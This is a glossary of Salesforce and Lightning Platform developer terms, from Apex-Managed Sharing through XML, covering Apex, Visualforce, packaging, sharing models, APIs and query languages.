**Apex-Managed Sharing**
Enables developers to programmatically manipulate sharing to support their application's behavior. Apex-managed sharing is only available for custom objects.

**Apex Page**
See Visualforce page.

**App**
Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific business need. Salesforce provides standard apps such as Sales and Service. You can customize the standard apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange.

**AppExchange**
The AppExchange is a sharing interface from Salesforce that allows you to browse and share apps and services for the Lightning Platform.

**Application Programming Interface (API)**
The interface that a computer system, library, or application provides to allow other computer programs to request services from it and exchange data.

**Approval Process**
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including who to request approval from and what to do at each point of the process.

**Asynchronous Calls**
A call that doesn’t return results immediately because the operation can take a long time. Calls in the Metadata API and Bulk API are asynchronous.

**B**

**Batch Apex**
The ability to perform long, complex operations on many records at a scheduled time using Apex.

**Beta, Managed Package**
In the context of managed packages, a beta managed package is an early version of a managed package distributed to a sampling of your intended audience to test it.
Bulk API
The REST-based Bulk API is optimized for processing large sets of data. It allows you to query, insert, update, upsert, or delete a large number of records asynchronously by submitting a number of batches which are processed in the background by Salesforce. See also SOAP API.

C

Callout, Apex
An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or sending a HTTP request from Apex code and then receiving the response.

Child Relationship
A relationship that has been defined on an sObject that references another sObject as the “one” side of a one-to-many relationship. For example, contacts, opportunities, and tasks have child relationships with accounts.
See also sObject.

Class, Apex
A template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code. In most cases, Apex classes are modeled on their counterparts in Java.

Client App
An app that runs outside the Salesforce user interface and uses only the Lightning Platform API or Bulk API. It typically runs on a desktop or mobile device. These apps treat the platform as a data source, using the development model of whatever tool and platform for which they are designed.

Code Coverage
A way to identify which lines of code are exercised by a set of unit tests, and which are not. This helps you identify sections of code that are completely untested and therefore at greatest risk of containing a bug or introducing a regression in the future.

Component, Metadata
A component is an instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom objects, and the MyCustomObject__c component is an instance of a custom object. A component is described in an XML file and it can be deployed or retrieved using the Metadata API, or tools built on top of it, such as the Salesforce extensions for Visual Studio Code or the Ant Migration Tool.

Component, Visualforce
Something that can be added to a Visualforce page with a set of tags, for example, <apex:detail>. Visualforce includes a number of standard components, or you can create your own custom components.

Component Reference, Visualforce
A description of the standard and custom Visualforce components that are available in your organization. You can access the component library from the development footer of any Visualforce page or the Visualforce Developer’s Guide.

Composite App
An app that combines native platform functionality with one or more external Web services, such as Yahoo! Maps. Composite apps allow for more flexibility and integration with other services, but may require running and managing external code. See also Client App and Native App.

Controller, Visualforce
An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard controllers that come by default with every standard or custom object, or they can use custom controllers.

Controller Extension
A controller extension is an Apex class that extends the functionality of a standard or custom controller.
Cookie
Client-specific data used by some Web applications to store user and session-specific information. Salesforce issues a session “cookie” only to record encrypted authentication information for the duration of a specific session.

Custom App
See App.

Custom Controller
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the permissions and field-level security of the current user.

Custom Field
A field that can be added in addition to the standard fields to customize Salesforce for your organization’s needs.

Custom Links
Custom links are URLs defined by administrators to integrate your Salesforce data with external websites and back-office systems. Formerly known as Web links.

Custom Object
Custom records that allow you to store information unique to your organization.

Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation rules, flows, Apex, and the SOAP API.

See also Hierarchy Custom Settings and List Custom Settings.

Database
An organized collection of information. The underlying architecture of the Lightning Platform includes a database where your data is stored.

Database Table
A list of information, presented with rows and columns, about the person, thing, or concept you want to track. See also Object.

Data Loader
A Lightning Platform tool used to import and export data from your Salesforce organization.

Data Manipulation Language (DML)
An Apex method or operation that inserts, updates, or deletes records.

Data State
The structure of data in an object at a particular point in time.

Date Literal
A keyword in a SOQL or SOSL query that represents a relative range of time such as last month or next year.

Decimal Places
Parameter for number, currency, and percent custom fields that indicates the total number of digits you can enter to the right of a decimal point, for example, 4.98 for an entry of 2. Note that the system rounds the decimal numbers you enter, if necessary. For example, if you enter 4.986 in a field with Decimal Places of 2, the number rounds to 4.99. Salesforce uses the round half-up rounding algorithm. Half-way values are always rounded up. For example, 1.45 is rounded to 1.5. –1.45 is rounded to –1.5.
Dependency
A relationship where one object’s existence depends on that of another. There are a number of different kinds of dependencies including mandatory fields, dependent objects (parent-child), file inclusion (referenced images, for example), and ordering dependencies (when one object must be deployed before another object).

Dependent Field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding controlling field.

Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce user interface, you must select the “Deployed” option to make the functionality visible to other users.

The process by which an application or other functionality is moved from development to production.

To move metadata components from a local file system to a Salesforce organization.

For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a custom object is deployed, it is only available to administrators and any users with the “Customize Application” permission.

Deprecated Component
Developers can refine the functionality in a managed package over time as the requirements evolve, such as redesign some of the components in the managed package. Developers can’t delete some components in a Managed - Released package, but they can deprecate a component in a later package version so that new subscribers don’t receive the component, while the component continues to function for existing subscribers and API integrations.

Detail
A page that displays information about a single object record. The detail page of a record allows you to view the information, whereas the edit page allows you to modify it.

A term used in reports to distinguish between summary information and inclusion of all column data for all information in a report.

You can toggle the Show Details/Hide Details button to view and hide report detail information.

Developer Edition
A free, fully-functional Salesforce organization designed for developers to extend, integrate, and develop with the Lightning Platform. Developer Edition accounts are available on developer.salesforce.com.

Salesforce Developers
The Salesforce Developers website at developer.salesforce.com provides a full range of resources for platform developers, including sample code, toolkits, an online developer community, and the ability to obtain limited Lightning Platform environments.

Development Environment
A Salesforce organization where you can make configuration changes that will not affect users on the production organization. There are two kinds of development environments, sandboxes and Developer Edition organizations.

Email Alert
Email alerts are actions that send emails, using a specified email template, to specified recipients.

Email Template
A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgment that a customer service request has been received. Email templates can be personalized with merge fields, and can be written in text, HTML, or custom format.

Note: Lightning email templates aren’t packageable.
Enterprise Edition
A Salesforce edition designed for larger, more complex businesses.

Enterprise WSDL
A strongly-typed WSDL for customers who want to build an integration with their Salesforce organization only, or for partners who are using tools like Tibco or webMethods to build integrations that require strong typecasting. The downside of the Enterprise WSDL is that it only works with the schema of a single Salesforce organization because it is bound to all of the unique objects and fields that exist in that organization's data model.

Entity Relationship Diagram (ERD)
A data modeling tool that helps you organize your data into entities (or objects, as they are called in the Lightning Platform) and define the relationships between them. ERD diagrams for key Salesforce objects are published in the SOAP API Developer's Guide.

Enumeration Field
An enumeration is the WSDL equivalent of a picklist field. The valid values of the field are restricted to a strict set of possible values, all having the same data type.

Field
A part of an object that holds a specific piece of information, such as a text or currency value.

Field Dependency
A filter that allows you to change the contents of a picklist based on the value of another field.

Field-Level Security
Settings that determine whether fields are hidden, visible, read only, or editable for users. Available in Professional, Enterprise, Unlimited, Performance, and Developer Editions.

Foreign Key
A field whose value is the same as the primary key of another table. You can think of a foreign key as a copy of a primary key from another table. A relationship is made between two tables by matching the values of the foreign key in one table with the values of the primary key in another.

Getter Methods
Methods that enable developers to display database and other computed values in page markup.
Methods that return values. See also Setter Methods.

Global Variable
A special merge field that you can use to reference data in your organization.
A method access modifier for any method that needs to be referenced outside of the application, either in the SOAP API or by other Apex code.

Governor Limits
Apex execution limits that prevent developers who write inefficient code from monopolizing the resources of other Salesforce users.

Gregorian Year
A calendar based on a 12-month structure used throughout much of the world.
**Hierarchy Custom Settings**
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value. In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.

**HTTP Debugger**
An application that can be used to identify and inspect SOAP requests that are sent from the AJAX Toolkit. They behave as proxy servers running on your local machine and allow you to inspect and author individual requests.

**ID**
See Salesforce Record ID.

**IdeaExchange**
A forum where Salesforce customers can suggest new product concepts, promote favorite enhancements, interact with product managers and other customers, and preview what Salesforce is planning to deliver in future releases. Visit IdeaExchange at ideas.salesforce.com.

**Import Wizard**
A tool for importing data into your Salesforce organization, accessible from Setup.

**Instance**
The cluster of software and hardware represented as a single logical server that hosts an organization’s data and runs their applications. The Lightning Platform runs on multiple instances, but data for any single organization is always stored on a single instance.

**Integrated Development Environment (IDE)**
A software application that provides comprehensive facilities for software developers including a source code editor, testing and debugging tools, and integration with source code control systems.

**Integration User**
A Salesforce user defined solely for client apps or integrations. Also referred to as the logged-in user in a SOAP API context.

**ISO Code**
The International Organization for Standardization country code, which represents each country by two letters.

**Junction Object**
A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many” relationship between two objects. For example, you create a custom object called “Bug” that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.

**Length**
Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the field. Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the decimal point, for example, 123.98 for an entry of 3.
Lightning Platform

The Salesforce platform for building applications in the cloud. Lightning Platform combines a powerful user interface, operating system, and database to allow you to customize and deploy applications in the cloud for your entire enterprise.

List Custom Settings

A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you don’t have to use SOQL queries that count against your governor limits.

List View

A list display of items (for example, accounts or contacts) based on specific criteria. Salesforce provides some predefined views.

In the Agent console, the list view is the top frame that displays a list view of records based on specific criteria. The list views you can select to display in the console are the same list views defined on the tabs of other objects. You cannot create a list view within the console.

Local Name

The value stored for the field in the user’s or account’s language. The local name for a field is associated with the standard name for that field.

Locale

The country or geographic region in which the user is located. The setting affects the format of date and number fields, for example, dates in the English (United States) locale display as 06/30/2000 and as 30/06/2000 in the English (United Kingdom) locale.

In Professional, Enterprise, Unlimited, Performance, and Developer Edition organizations, a user’s individual Locale setting overrides the organization’s Default Locale setting. In Personal and Group Editions, the organization-level locale field is called Locale, not Default Locale.

Long Text Area

Data type of custom field that allows entry of up to 32,000 characters on separate lines.

Lookup Relationship

A relationship between two records so you can associate records with each other. For example, cases have a lookup relationship with assets that lets you associate a particular asset with a case. On one side of the relationship, a lookup field allows users to click a lookup icon and select another record from a popup window. On the associated record, you can then display a related list to show all of the records that have been linked to it. If a lookup field references a record that has been deleted, by default Salesforce clears the lookup field. Alternatively, you can prevent records from being deleted if they’re in a lookup relationship.

Managed Package

A collection of application components that is posted as a unit on the AppExchange and associated with a namespace and possibly a License Management Organization. To support upgrades, a package must be managed. An organization can create a single managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property of the developer.

Manual Sharing

Record-level access rules that allow record owners to give read and edit permissions to other users who might not have access to the record any other way.
Many-to-Many Relationship
A relationship where each side of the relationship can have many children on the other side. Many-to-many relationships are implemented through the use of junction objects.

Master-Detail Relationship
A relationship between two different types of records that associates the records with each other. For example, accounts have a master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup relationship field required on the page layout.

Metadata
Information about the structure, appearance, and functionality of an organization and any of its parts. Lightning Platform uses XML to describe metadata.

Metadata-Driven Development
An app development model that allows apps to be defined as declarative “blueprints,” with no code required. Apps built on the platform—their data models, objects, forms, workflows, and more—are defined by metadata.

Metadata WSDL
A WSDL for users who want to use the Lightning Platform Metadata API calls.

Multitenancy
An application model where all users and apps share a single, common infrastructure and code base.

MVC (Model-View-Controller)
A design paradigm that deconstructs applications into components that represent data (the model), ways of displaying that data in a user interface (the view), and ways of manipulating that data with business logic (the controller).

Namespace
In a packaging context, a one- to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange, similar to a domain name. Salesforce automatically prepends your namespace prefix, followed by two underscores (“__”), to all unique component names in your Salesforce organization.

Native App
An app that is built exclusively with setup (metadata) configuration on Lightning Platform. Native apps do not require any external services or infrastructure.

Object
An object allows you to store information in your Salesforce organization. The object is the overall definition of the type of information you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your organization will have multiple records that store the information about specific instances of that type of data. For example, you might have a case record to store the information about Joe Smith’s training inquiry and another case record to store the information about Mary Johnson’s configuration issue.

Object-Level Help
Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit pages, as well as list views and related lists.

Object-Level Security
Settings that allow an administrator to hide whole objects from users so that they don’t know that type of data exists. Object-level security is specified with object permissions.
One-to-Many Relationship
A relationship in which a single object is related to many other objects. For example, an account may have one or more related contacts.

Organization
A deployment of Salesforce with a defined set of licensed users. An organization is the virtual space provided to an individual customer of Salesforce. Your organization includes all of your data and applications, and is separate from all other organizations.

Organization-Wide Defaults
Settings that allow you to specify the baseline level of data access that a user has in your organization. For example, you can set organization-wide defaults so that any user can see any record of a particular object that is enabled via their object permissions, but they need extra permissions to edit one.

Outbound Call
Any call that originates from a user to a number outside of a call center in Salesforce CRM Call Center.

Outbound Message
An outbound message sends information to a designated endpoint, like an external service. Outbound messages are configured from Setup. You must configure the external endpoint and create a listener for the messages using the SOAP API.

Owner
Individual user to which a record (for example, a contact or case) is assigned.

PaaS
See Platform as a Service.

Package
A group of Lightning Platform components and applications that are made available to other organizations through the AppExchange. You use packages to bundle an app along with any related components so that you can upload them to AppExchange together.

Package Dependency
This is created when one component references another component, permission, or preference that is required for the component to be valid. Components can include but are not limited to:
- Standard or custom fields
- Standard or custom objects
- Visualforce pages
- Apex code
Permissions and preferences can include but are not limited to:
- Divisions
- Multicurrency
- Record types

Package Installation
Installation incorporates the contents of a package into your Salesforce organization. A package on the AppExchange can include an app, a component, or a combination of the two. After you install a package, you may need to deploy components in the package to make it generally available to the users in your organization.
### Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release.

Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. See also Patch and Patch Development Organization.

### Partner WSDL
A loosely-typed WSDL for customers, partners, and ISVs who want to build an integration or an AppExchange app that can work across multiple Salesforce organizations. With this WSDL, the developer is responsible for marshaling data in the correct object representation, which typically involves editing the XML. However, the developer is also freed from being dependent on any particular data model or Salesforce organization. Contrast this with the Enterprise WSDL, which is strongly typed.

### Patch
A patch enables a developer to change the functionality of existing components in a managed package, while ensuring subscribing organizations that there are no visible behavior changes to the package. For example, you can add new variables or change the body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches are tracked by a patchNumber appended to every package version. See also Patch Development Organization and Package Version.

### Patch Development Organization
The organization where patch versions are developed, maintained, and uploaded. Patch development organizations are created automatically for a developer organization when they request to create a patch. See also Patch and Package Version.

### Personal Edition
Product designed for individual sales representatives and single users.

### Platform as a Service (PaaS)
An environment where developers use programming tools offered by a service provider to create applications and deploy them in a cloud. The application is hosted as a service and provided to customers via the Internet. The PaaS vendor provides an API for creating and extending specialized applications. The PaaS vendor also takes responsibility for the daily maintenance, operation, and support of the deployed application and each customer’s data. The service alleviates the need for programmers to install, configure, and maintain the applications on their own hardware, software, and related IT resources. Services can be delivered using the PaaS environment to any market segment.

### Platform Edition
A Salesforce edition based on Enterprise, Unlimited, or Performance Edition that does not include any of the standard Salesforce apps, such as Sales or Service & Support.

### Primary Key
A relational database concept. Each table in a relational database has a field in which the data value uniquely identifies the record. This field is called the primary key. The relationship is made between two tables by matching the values of the foreign key in one table with the values of the primary key in another.

### Production Organization
A Salesforce organization that has live users accessing data.

### Professional Edition
A Salesforce edition designed for businesses who need fullFeatured CRM functionality.

### Prototype
The classes, methods and variables that are available to other Apex code.
Q

Query Locator
A parameter returned from the query() or queryMore() API call that specifies the index of the last result record that was returned.

Query String Parameter
A name-value pair that's included in a URL, typically after a '?' character. For example:

https://yourInstance.salesforce.com/001/e?name=value

R

Record
A single instance of a Salesforce object. For example, “John Jones” might be the name of a contact record.

Record ID
The unique identifier for each record.

Record-Level Security
A method of controlling data in which you can allow a particular user to view and edit an object, but then restrict the records that the user is allowed to see.

Record Locking
Record locking prevents users from editing a record, regardless of field-level security or sharing settings. By default, Salesforce locks records that are pending approval. Only admins can edit locked records.

Record Name
A standard field on all Salesforce objects. Whenever a record name is displayed in a Lightning Platform application, the value is represented as a link to a detail view of the record. A record name can be either free-form text or an autonumber field. Record Name does not have to be a unique value.

Recycle Bin
A page that lets you view and restore deleted information. Access the Recycle Bin either by using the link in the sidebar in Salesforce Classic or from the App Launcher in Lightning Experience.

Relationship
A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a specified field in both objects are used to link related data; for example, if one object stores data about companies and another object stores data about people, a relationship allows you to find out which people work at the company.

Relationship Query
In a SOQL context, a query that traverses the relationships between objects to identify and return results. Parent-to-child and child-to-parent syntax differs in SOQL queries.

Role Hierarchy
A record-level security setting that defines different levels of users such that users at higher levels can view and edit information owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.

Roll-Up Summary Field
A field type that automatically provides aggregate values from child records in a master-detail relationship.

Running User
Each dashboard has a running user, whose security settings determine which data to display in a dashboard. If the running user is a specific user, all dashboard viewers see data based on the security settings of that user—regardless of their own personal security
settings. For dynamic dashboards, you can set the running user to be the logged-in user, so that each user sees the dashboard according to his or her own access level.

S

**SaaS**
See Software as a Service (SaaS).

**S-Control**

Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited.

Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.

**Salesforce Certificate and Key Pair**
Salesforce certificates and key pairs are used for signatures that verify a request is coming from your organization. They are used for authenticated SSL communications with an external web site, or when using your organization as an Identity Provider. You only need to generate a Salesforce certificate and key pair if you're working with an external website that wants verification that a request is coming from a Salesforce organization.

**Salesforce Connect**
Salesforce Connect provides access to data that's stored outside the Salesforce org, such as data in an enterprise resource planning (ERP) system and records in another org. Salesforce Connect represents the data in external objects and accesses the external data in real time via Web service callouts to external data sources.

**Salesforce Extensions for Visual Studio Code**
The Salesforce extension pack for Visual Studio Code includes tools for developing on the Salesforce platform in the lightweight, extensible VS Code editor. These tools provide features for working with development orgs (scratch orgs, sandboxes, and DE orgs), Apex, Aura components, and Visualforce.

**Salesforce Record ID**
A unique 15- or 18-character alphanumeric string that identifies a single record in Salesforce.

**Salesforce SOA (Service-Oriented Architecture)**
A powerful capability of Lightning Platform that allows you to make calls to external Web services from within Apex.

**Sandbox**
A nearly identical copy of a Salesforce production organization for development, testing, and training. The content and size of a sandbox varies depending on the type of sandbox and the edition of the production organization associated with the sandbox.

**Semi-Join**
A semi-join is a subquery on another object in an IN clause in a SOQL query. You can use semi-joins to create advanced queries, such as getting all contacts for accounts that have an opportunity with a particular record type. See also Anti-Join.

**Session ID**
An authentication token that is returned when a user successfully logs in to Salesforce. The Session ID prevents a user from having to log in again every time they want to perform another action in Salesforce. Different from a record ID or Salesforce ID, which are terms for the unique ID of a Salesforce record.

**Session Timeout**
The time after login before a user is automatically logged out. Sessions expire automatically after a predetermined length of inactivity, which can be configured in Salesforce from Setup by clicking Security Controls. The default is 120 minutes (two hours). The inactivity timer is reset to zero if a user takes an action in the web interface or makes an API call.
Setter Methods
Methods that assign values. See also Getter Methods.

Setup
A menu where administrators can customize and define organization settings and Lightning Platform apps. Depending on your organization’s user interface settings, Setup may be a link in the user interface header or in the dropdown list under your name.

Sharing
Allowing other users to view or edit information you own. There are different ways to share data:
- Sharing Model—defines the default organization-wide access levels that users have to each other’s information and whether to use the hierarchies when determining access to data.
- Role Hierarchy—defines different levels of users such that users at higher levels can view and edit information owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.
- Sharing Rules—allow an administrator to specify that all information created by users within a given group or role is automatically shared to the members of another group or role.
- Manual Sharing—allows individual users to share records with other users or groups.
- Apex-Managed Sharing—enables developers to programmatically manipulate sharing to support their application’s behavior. See Apex-Managed Sharing.

Sharing Model
Behavior defined by your administrator that determines default access by users to different types of records.

Sharing Rule
Type of default sharing created by administrators. Allows users in a specified group or role to have access to all information created by users within a given group or role.

Sites
Salesforce Sites enables you to create public websites and applications that are directly integrated with your Salesforce organization—without requiring users to log in with a username and password.

SOAP (Simple Object Access Protocol)
A protocol that defines a uniform way of passing XML-encoded data.

SOAP API
A SOAP-based Web services application programming interface that provides access to your Salesforce organization’s information.

sObject
The abstract or parent object for all objects that can be stored in the Lightning Platform.

Software as a Service (SaaS)
A delivery model where a software application is hosted as a service and provided to customers via the Internet. The SaaS vendor takes responsibility for the daily maintenance, operation, and support of the application and each customer’s data. The service alleviates the need for customers to install, configure, and maintain applications with their own hardware, software, and related IT resources. Services can be delivered using the SaaS model to any market segment.

SOQL (Salesforce Object Query Language)
A query language that allows you to construct simple but powerful query strings and to specify the criteria that selects data from the Lightning Platform database.

SOSL (Salesforce Object Search Language)
A query language that allows you to perform text-based searches using the Lightning Platform API.

Standard Object
A built-in object included with the Lightning Platform. You can also build custom objects to store information that is unique to your app.
**System Log**

Part of the Developer Console, a separate window console that can be used for debugging code snippets. Enter the code you want to test at the bottom of the window and click Execute. The body of the System Log displays system resource information, such as how long a line took to execute or how many database calls were made. If the code did not run to completion, the console also displays debugging information.

**Tag**

In Salesforce, a word or short phrases that users can associate with most records to describe and organize their data in a personalized way. Administrators can enable tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members). Tags can also be accessed through the SOAP API.

**Test Case Coverage**

Test cases are the expected real-world scenarios in which your code will be used. Test cases are not actual unit tests, but are documents that specify what your unit tests should do. High test case coverage means that most or all the real-world scenarios you have identified are implemented as unit tests. See also Code Coverage and Unit Test.

**Test Method**

An Apex class method that verifies whether a particular piece of code is working properly. Test methods take no arguments, commit no data to the database, and can be executed by the `runTests()` system method either through the command line or in an Apex IDE, such as the Salesforce extensions for Visual Studio Code.

**Test Organization**

See Sandbox.

**Transaction, Apex**

An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service method.

**Trigger**

A piece of Apex that executes before or after records of a particular type are inserted, updated, or deleted from the database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire, and all triggers run in bulk mode—that is, they process several records at once, rather than just one record at a time.

**Trigger Context Variable**

Default variables that provide access to information about the trigger and the records that caused it to fire.

**Unit Test**

A unit is the smallest testable part of an application, usually a method. A unit test operates on that piece of code to make sure it works correctly. See also Test Method.

**Unlimited Edition**

Unlimited Edition is Salesforce’s solution for maximizing your success and extending that success across the entire enterprise through the Lightning Platform.

**Unmanaged Package**

A package that cannot be upgraded or controlled by its developer.
**URL (Uniform Resource Locator)**
The global address of a website, document, or other resource on the Internet. For example, http://www.salesforce.com.

**User Acceptance Testing (UAT)**
A process used to confirm that the functionality meets the planned requirements. UAT is one of the final stages before deployment to production.

**Validation Rule**
A rule that prevents a record from being saved if it does not meet the standards that are specified.

**Version**
A number value that indicates the release of an item. Items that can have a version include API objects, fields, and calls; Apex classes and triggers; and Visualforce pages and components.

**View**
The user interface in the Model-View-Controller model, defined by Visualforce.

**View State**
Where the information necessary to maintain the state of the database between requests is saved.

**Visualforce**
A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built on the platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their own logic with a controller written in Apex.

**Visualforce Controller**
See Controller, Visualforce.

**Visualforce Lifecycle**
The stages of execution of a Visualforce page, including how the page is created and destroyed during a user session.

**Visualforce Page**
A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but they can also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment, and can be associated with a CSS style.

**Web Service**
A mechanism by which two applications can easily exchange data over the Internet, even if they run on different platforms, are written in different languages, or are geographically remote from each other.

**WebService Method**
An Apex class method or variable that external systems can use, like a mash-up with a third-party application. Web service methods must be defined in a global class.

**Web Services API**
A Web services application programming interface that provides access to your Salesforce organization's information. See also SOAP PI and Bulk API.

**Automated Actions**
Automated actions, such as email alerts, tasks, field updates, and outbound messages, can be triggered by a process, workflow rule, approval process, or milestone.
**Wrapper Class**

A class that abstracts common functions such as logging in, managing sessions, and querying and batching records. A wrapper class makes an integration more straightforward to develop and maintain, keeps program logic in one place, and affords easy reuse across components. Examples of wrapper classes in Salesforce include the AJAX Toolkit, which is a JavaScript wrapper around the Salesforce SOAP API, wrapper classes such as `CCriticalSection` in the CTI Adapter for Salesforce CRM Call Center, or wrapper classes created as part of a client integration application that accesses Salesforce using the SOAP API.

**WSDL (Web Services Description Language) File**

An XML file that describes the format of messages you send and receive from a Web service. Your development environment’s SOAP client uses the Salesforce Enterprise WSDL or Partner WSDL to communicate with Salesforce using the SOAP API.

**XML (Extensible Markup Language)**

A markup language that enables the sharing and transportation of structured data. All Lightning Platform components that are retrieved or deployed through the Metadata API are represented by XML definitions.
